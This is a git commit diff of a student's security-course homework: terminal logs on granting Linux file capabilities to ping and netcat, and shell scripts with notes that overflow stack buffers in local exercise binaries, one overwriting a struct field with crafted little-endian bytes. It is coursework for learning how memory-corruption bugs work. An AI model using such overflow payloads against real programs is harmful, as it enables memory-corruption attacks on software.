feat: solve ex 1

.gitignore

@@ -4,3 +4,4 @@ sheet01/a2/Hash.java
 passwd
 sheet04/AuthWithTOTP.java
 sheet04/key-exchange.pcap
+sheet06/a2/assign*

sheet06/a1/a.txt

@@ -0,0 +1,16 @@
+10:16:36 leo@group-20 ~ → sudo chmod u-s /bin/ping
+10:18:59 leo@group-20 ~ → ping google.com
+ping: socktype: SOCK_RAW
+ping: socket: Operation not permitted
+ping: => missing cap_net_raw+p capability or setuid?
+10:19:03 leo@group-20 ~ → sudo setcap cap_net_raw+ep /bin/ping
+10:19:48 leo@group-20 ~ → ping google.com
+PING google.com (142.251.20.138) 56(84) bytes of data.
+64 bytes from bx-in-f138.1e100.net (142.251.20.138): icmp_seq=1 ttl=112 time=10.5 ms
+64 bytes from bx-in-f138.1e100.net (142.251.20.138): icmp_seq=2 ttl=112 time=9.83 ms
+
+The capability is required because ping sends ICMP packets to function.
+It has to create raw network sockets and for that the kernel needs the cap_net_raw capability.
+
+The permitted set grants the executable the right to posess this capability.
+The effective set is needed because ping is not programmed to automatically set the effective set on runtime which is needed for the program to open the raw socket immediately.

sheet06/a1/b.txt

@@ -0,0 +1,21 @@
+10:31:48 leo@group-20 ~ → ls -l /bin/netcat 
+lrwxrwxrwx 1 root root 24 Apr  8  2024 /bin/netcat -> /etc/alternatives/netcat
+10:31:57 leo@group-20 ~ → ls -l /etc/alternatives/netcat 
+lrwxrwxrwx 1 root root 15 Apr  8  2024 /etc/alternatives/netcat -> /bin/nc.openbsd
+10:32:11 leo@group-20 ~ → ls -l /bin/nc.openbsd 
+-rwxr-xr-x 1 root root 39560 Apr  8  2024 /bin/nc.openbsd
+10:31:38 leo@group-20 ~ → sudo setcap cap_net_bind_service+ep /bin/nc.openbsd
+10:32:46 leo@group-20 ~ → netcat -l 81
+GET / HTTP/1.1
+Host: 10.42.23.30:81
+User-Agent: curl/8.20.0
+Accept: */*
+leo@leo-laptop:~$ curl 10.42.23.30:81
+^C
+
+
+
+On linux ports 0-1023 are privileged ports to which only the root user can bind by default.
+By setting the cap_net_bind_service capability the executable can also bind to those lower ports.
+/bin/netcat is only a symlink leading to /etc/alternatives/netcat which is a symlink leading to /bin/nc.openbsd.
+The capabilities are stored in the file's inode. Because symlinks do not support extended attributes in this way the capability has to be stored on the target executable.

sheet06/a2/b.txt

@@ -0,0 +1,5 @@
+Java has bounds checking for arraycopy and other functions built-in, therefore when trying to do the same thing as before we get:
+
+Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: arraycopy: last source index 144 out of bounds for char[128]
+	at java.base/java.lang.System.arraycopy(Native Method)
+	at assignment2b.main(assignment2b.java:14)

sheet06/a2/stack-a.sh

@@ -0,0 +1 @@
+echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | "./assignment2a"

sheet06/a2/stack-a.txt

@@ -0,0 +1 @@
+The gets function reads into a buffer with 128 bytes from stdin. So to create a buffer overflow, I just need to put in 128 characters (all of the A) and then what we want to be written where the 32 bit integer is at the end (since it's behind the buffer inside of the struct).

sheet06/a2/stack-c.sh

@@ -0,0 +1 @@
+./assignment2c AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

sheet06/a2/stack-c.txt

@@ -0,0 +1 @@
+Same idea as a here, just that we put in 64 characters this time since the buffer is only 64 characters big. This means 65 A's and the job is done.

sheet06/a2/stack-d.sh

@@ -0,0 +1,2 @@
+NUMBER=$(printf "\x74\x69\x6E\x49")
+./assignment2d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER

sheet06/a2/stack-d.txt

@@ -0,0 +1 @@
+Since we now want to change toChange to a deterministic value, specifically 0x496e6974, I just used printf to generate the ASCII characters for this number and then passed it straight to the program with some extra stuff in front to make the buffer overflow. You just have to put the bytes in reverse order due to little endian and stuff.